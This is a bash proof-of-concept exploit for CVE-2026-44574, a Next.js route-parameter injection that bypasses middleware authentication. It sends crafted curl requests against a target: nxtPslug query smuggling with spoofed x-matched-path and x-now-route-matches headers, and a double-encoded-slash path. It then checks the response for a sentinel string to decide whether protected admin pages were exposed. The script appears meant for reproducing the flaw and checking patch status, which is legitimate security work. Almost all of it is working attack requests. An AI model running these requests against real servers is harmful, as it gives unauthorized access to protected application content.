#!/usr/bin/env bash # ============================================================================= # CVE-2026-44574 / GHSA-492v-c6pp-mqqv — dynamic-route param injection bypass # ============================================================================= # Usage: TARGET=http://localhost:3000 ./exploit.sh # ============================================================================= set -u TARGET="${TARGET:-http://localhost:3000}" PROTECTED_BASE="${PROTECTED_BASE:-/admin}" PROTECTED_SLUG="${PROTECTED_SLUG:-secret-page}" PUBLIC_PATH="${PUBLIC_PATH:-/safe}" R=$'\033[0;31m'; G=$'\033[0;32m'; Y=$'\033[1;33m'; B=$'\033[0;34m'; N=$'\033[0m' echo "${B}=================================================================${N}" echo "${B} CVE-2026-44574 — dynamic-route param injection bypass (nxtP*) ${N}" echo "${B}=================================================================${N}" echo " Target : ${TARGET}" echo " Protected route : ${PROTECTED_BASE}/[slug] slug=${PROTECTED_SLUG}" echo " Public host route: ${PUBLIC_PATH}" echo # ----------------------------------------------------------------------------- # Step 1 — Confirm the canonical protected URL is gated. # Vulnerable & patched versions both reject this directly (because the # pathname matches the middleware matcher). # ----------------------------------------------------------------------------- echo "${Y}[1/4] Baseline — canonical GET ${PROTECTED_BASE}/${PROTECTED_SLUG}${N}" BASELINE=$(curl -k -s -i -o /tmp/44574_baseline.txt -w '%{http_code}' \ "${TARGET}${PROTECTED_BASE}/${PROTECTED_SLUG}") LOC=$(grep -i '^location:' /tmp/44574_baseline.txt | head -1 | tr -d '\r') echo " HTTP ${BASELINE} ${LOC}" echo # ----------------------------------------------------------------------------- # Step 2 — Bypass arm A: nxtP* parameter smuggling. # # We hit a *public* route (PUBLIC_PATH) but attach `nxtPslug=` # to make the App Router resolve the request to the dynamic protected page. # Vulnerable Next.js trusts inbound nxtP* keys when building params, while # middleware's `req.nextUrl.pathname` still says "/safe" — so the auth check # is skipped. # ----------------------------------------------------------------------------- echo "${Y}[2/4] Bypass arm A — inject nxtPslug on a public path${N}" URL_A="${PUBLIC_PATH}?nxtPslug=${PROTECTED_SLUG}&__nextDefaultLocale=&__nextLocale=" echo " GET ${URL_A}" A_CODE=$(curl -k -s -i -o /tmp/44574_a.txt -w '%{http_code}' \ -H 'x-matched-path: '"${PROTECTED_BASE}/[slug]" \ -H 'x-now-route-matches: '"1=${PROTECTED_SLUG}" \ "${TARGET}${URL_A}") A_BODY=$(sed -n '/^\r$/,$p' /tmp/44574_a.txt | tr -d '\r' | head -c 800) echo " HTTP ${A_CODE}" echo # ----------------------------------------------------------------------------- # Step 3 — Bypass arm B: encoded-slash double-encode. # # The pre-patch client param parser runs encodeURIComponent on already- # encoded pathname parts, so `/admin/foo%252Fbar` round-trips differently in # the client and server. A middleware that does string comparisons on # `req.nextUrl.pathname` will see one value, the page handler will see # another — and either side can be steered into the wrong branch. # ----------------------------------------------------------------------------- echo "${Y}[3/4] Bypass arm B — double-encoded slash in dynamic segment${N}" URL_B="${PROTECTED_BASE}/foo%252F${PROTECTED_SLUG}" echo " GET ${URL_B}" B_CODE=$(curl -k -s -i -o /tmp/44574_b.txt -w '%{http_code}' \ --path-as-is \ "${TARGET}${URL_B}") B_LOC=$(grep -i '^location:' /tmp/44574_b.txt | head -1 | tr -d '\r') echo " HTTP ${B_CODE} ${B_LOC}" echo # ----------------------------------------------------------------------------- # Step 4 — Verdict. # A bypass for arm A: HTTP 200 from PUBLIC_PATH with a body that contains the # secret-page sentinel (renderer matched dynamic route despite middleware). # A bypass for arm B: HTTP 200 (page rendered) instead of the redirect/403 # we got on the canonical URL — because middleware saw a different slug. # ----------------------------------------------------------------------------- echo "${Y}[4/4] Verdict${N}" vuln=0 SENTINEL='ADMIN_SECRET_FLAG' if [[ "${A_CODE}" == "200" ]] && grep -q "${SENTINEL}" /tmp/44574_a.txt; then vuln=1 echo " ${R}✗ VULNERABLE — arm A (nxtP injection)" echo " Public path returned the protected dynamic-segment page." echo " Sentinel '${SENTINEL}' present in response body.${N}" fi if [[ "${B_CODE}" == "200" ]] && grep -q "${SENTINEL}" /tmp/44574_b.txt; then vuln=1 echo " ${R}✗ VULNERABLE — arm B (double-encoded slash)" echo " Encoded-slash request rendered protected slug body." echo " Sentinel '${SENTINEL}' present in response body.${N}" fi if [[ ${vuln} -eq 1 ]]; then echo echo "${R}>>> RESULT: PASS (vulnerability reproduced) <<<${N}" exit 0 fi echo " ${G}✓ PATCHED — neither nxtP injection nor encoded-slash mismatch" echo " rendered the protected page on this server.${N}" echo echo "${G}>>> RESULT: FAIL (target appears patched ≥ v16.2.5) <<<${N}" exit 1